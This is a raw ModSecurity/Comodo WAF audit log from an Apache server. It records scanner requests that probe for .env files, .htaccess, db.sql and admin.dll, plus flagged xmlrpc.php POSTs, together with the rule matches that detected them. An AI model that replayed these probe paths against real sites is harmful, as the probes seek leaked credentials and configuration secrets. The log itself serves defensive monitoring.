(http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8eb0440-Z-- --455d2863-A-- [16/Jun/2025:00:46:46.898704 +0530] aE8cHpnj7pFxi-BGHz6rMgAAAAI 185.177.72.210 57554 127.0.0.1 7081 --455d2863-B-- GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --455d2863-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e1fd8b605681346d2f024d77e5f803111750015006; expires=Sun, 15 Jun 2025 20:16:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --455d2863-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_adm/admin.dll"] [unique_id "aE8cHpnj7pFxi-BGHz6rMgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015006219281 679492 (- - -) Stopwatch2: 1750015006219281 679492; combined=2127, p1=357, p2=1597, p3=0, p4=0, p5=172, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --455d2863-Z-- --b81f6e73-A-- [16/Jun/2025:00:46:55.675975 +0530] aE8cJiCwfN5GtQhYhHBCBwAAAAw 185.177.72.210 47032 127.0.0.1 7081 --b81f6e73-B-- GET /:8181/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b81f6e73-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c7b102441347757396a1e3366683d1a31750015015; expires=Sun, 15 Jun 2025 20:16:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b81f6e73-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env~"] [unique_id "aE8cJiCwfN5GtQhYhHBCBwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015014962952 713099 (- - -) Stopwatch2: 1750015014962952 713099; combined=1686, p1=365, p2=1225, p3=0, p4=0, p5=95, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b81f6e73-Z-- --f08f2535-A-- [16/Jun/2025:00:47:09.098646 +0530] aE8cNJnj7pFxi-BGHz6rPwAAAAI 185.177.72.210 56984 127.0.0.1 7081 --f08f2535-B-- GET /_.htaccess HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f08f2535-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=83d49e303c1a3706b4b7728f06636fca1750015028; expires=Sun, 15 Jun 2025 20:17:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f08f2535-H-- Message: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/_.htaccess"] [unique_id "aE8cNJnj7pFxi-BGHz6rPwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015028408264 690457 (- - -) Stopwatch2: 1750015028408264 690457; combined=2071, p1=468, p2=1516, p3=0, p4=0, p5=86, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f08f2535-Z-- --ce6b4962-A-- [16/Jun/2025:00:47:18.137296 +0530] aE8cPT3D4g1mGjVnV5KEiAAAAAY 185.177.72.210 54142 127.0.0.1 7081 --ce6b4962-B-- GET /:5000/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce6b4962-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a987474daf0ab8318456a581680e492c1750015037; expires=Sun, 15 Jun 2025 20:17:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce6b4962-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/front/.env"] [unique_id "aE8cPT3D4g1mGjVnV5KEiAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015037474697 662674 (- - -) Stopwatch2: 1750015037474697 662674; combined=2101, p1=365, p2=1644, p3=0, p4=0, p5=91, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce6b4962-Z-- --24dad467-A-- [16/Jun/2025:00:47:20.150839 +0530] aE8cP-5gkr5NYpwyzHH2OwAAAAg 185.177.72.210 59596 127.0.0.1 7081 --24dad467-B-- GET /:8888/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24dad467-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4b3584742b2d2e84dcc136566e73c641750015040; expires=Sun, 15 Jun 2025 20:17:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24dad467-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/staging/.env"] [unique_id "aE8cP-5gkr5NYpwyzHH2OwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015039481307 669595 (- - -) Stopwatch2: 1750015039481307 669595; combined=1926, p1=356, p2=1481, p3=0, p4=0, p5=88, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24dad467-Z-- --5c0b7844-A-- [16/Jun/2025:00:47:27.129010 +0530] aE8cRj3D4g1mGjVnV5KEjAAAAAY 185.177.72.210 59866 127.0.0.1 7081 --5c0b7844-B-- GET /:10000/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c0b7844-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=27ea4409729622d29e0be2069d1f6ad01750015046; expires=Sun, 15 Jun 2025 20:17:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c0b7844-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/build/.env"] [unique_id "aE8cRj3D4g1mGjVnV5KEjAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015046491017 638058 (- - -) Stopwatch2: 1750015046491017 638058; combined=1970, p1=373, p2=1482, p3=0, p4=0, p5=114, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c0b7844-Z-- --9c2fec66-A-- [16/Jun/2025:00:47:27.191548 +0530] aE8cRpnj7pFxi-BGHz6rTAAAAAI 128.199.112.101 59852 127.0.0.1 7081 --9c2fec66-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9c2fec66-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9c2fec66-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8cRpnj7pFxi-BGHz6rTAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015046275873 915730 (- - -) Stopwatch2: 1750015046275873 915730; combined=2215, p1=364, p2=1476, p3=41, p4=69, p5=165, sr=107, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c2fec66-Z-- --1f7fcb58-A-- [16/Jun/2025:00:47:28.150733 +0530] aE8cR1eqy5hRjKvJEAyawgAAAAE 185.177.72.210 59926 127.0.0.1 7081 --1f7fcb58-B-- GET /db.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1f7fcb58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbbbb9ff5e574bf68d88d925064e3ef61750015048; expires=Sun, 15 Jun 2025 20:17:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1f7fcb58-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db.sql"] [unique_id "aE8cR1eqy5hRjKvJEAyawgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015047470784 680010 (- - -) Stopwatch2: 1750015047470784 680010; combined=1928, p1=356, p2=1494, p3=0, p4=0, p5=77, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f7fcb58-Z-- --8b18c776-A-- [16/Jun/2025:00:47:33.269777 +0530] aE8cTFeqy5hRjKvJEAyaxgAAAAE 185.177.72.210 50056 127.0.0.1 7081 --8b18c776-B-- GET /:8000/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8b18c776-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=256c811eb8fcf17dd8f4090640f18dc41750015053; expires=Sun, 15 Jun 2025 20:17:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8b18c776-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/staging/.env"] [unique_id "aE8cTFeqy5hRjKvJEAyaxgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015052616849 652999 (- - -) Stopwatch2: 1750015052616849 652999; combined=1782, p1=355, p2=1326, p3=0, p4=0, p5=100, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b18c776-Z-- --f8ba1643-A-- [16/Jun/2025:00:47:59.027006 +0530] aE8cZj3D4g1mGjVnV5KEnAAAAAY 185.177.72.210 43854 127.0.0.1 7081 --f8ba1643-B-- GET /:8080/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f8ba1643-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=358d8bdc33c3c4258dbebb14b3200f231750015078; expires=Sun, 15 Jun 2025 20:17:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f8ba1643-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/cgi-bin/.env"] [unique_id "aE8cZj3D4g1mGjVnV5KEnAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015078386672 640397 (- - -) Stopwatch2: 1750015078386672 640397; combined=1848, p1=411, p2=1302, p3=0, p4=0, p5=135, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8ba1643-Z-- --95447421-A-- [16/Jun/2025:00:48:27.379100 +0530] aE8cgiKD19h5xDtM-2wangAAAAo 128.199.112.101 33984 127.0.0.1 7081 --95447421-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --95447421-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --95447421-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8cgiKD19h5xDtM-2wangAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015106290653 1088521 (- - -) Stopwatch2: 1750015106290653 1088521; combined=2821, p1=450, p2=1944, p3=40, p4=61, p5=197, sr=115, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95447421-Z-- --6d9a090b-A-- [16/Jun/2025:00:49:01.068698 +0530] aE8cpO5gkr5NYpwyzHH2fgAAAAg 185.177.72.210 57800 127.0.0.1 7081 --6d9a090b-B-- GET /:8443/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d9a090b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e18ea2f8d2dcff561e1f0296d7400cc41750015140; expires=Sun, 15 Jun 2025 20:19:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d9a090b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.dist"] [unique_id "aE8cpO5gkr5NYpwyzHH2fgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015140308565 760211 (- - -) Stopwatch2: 1750015140308565 760211; combined=2828, p1=950, p2=1772, p3=0, p4=0, p5=106, sr=136, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d9a090b-Z-- --baa0dd0f-A-- [16/Jun/2025:00:49:08.914266 +0530] aE8crD3D4g1mGjVnV5KEzQAAAAY 185.177.72.210 58126 127.0.0.1 7081 --baa0dd0f-B-- GET /.env.testing HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --baa0dd0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e802001f4072bda8f0a05745f7bc1e5f1750015148; expires=Sun, 15 Jun 2025 20:19:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --baa0dd0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.testing"] [unique_id "aE8crD3D4g1mGjVnV5KEzQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015148248710 665642 (- - -) Stopwatch2: 1750015148248710 665642; combined=1915, p1=448, p2=1358, p3=0, p4=0, p5=109, sr=157, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --baa0dd0f-Z-- --a6a9b566-A-- [16/Jun/2025:00:49:23.172209 +0530] aE8cuiCwfN5GtQhYhHBCZgAAAAw 185.177.72.210 47172 127.0.0.1 7081 --a6a9b566-B-- GET /:8000/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a6a9b566-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c8cb8b8a5be9da4dc264a44bc14134bb1750015162; expires=Sun, 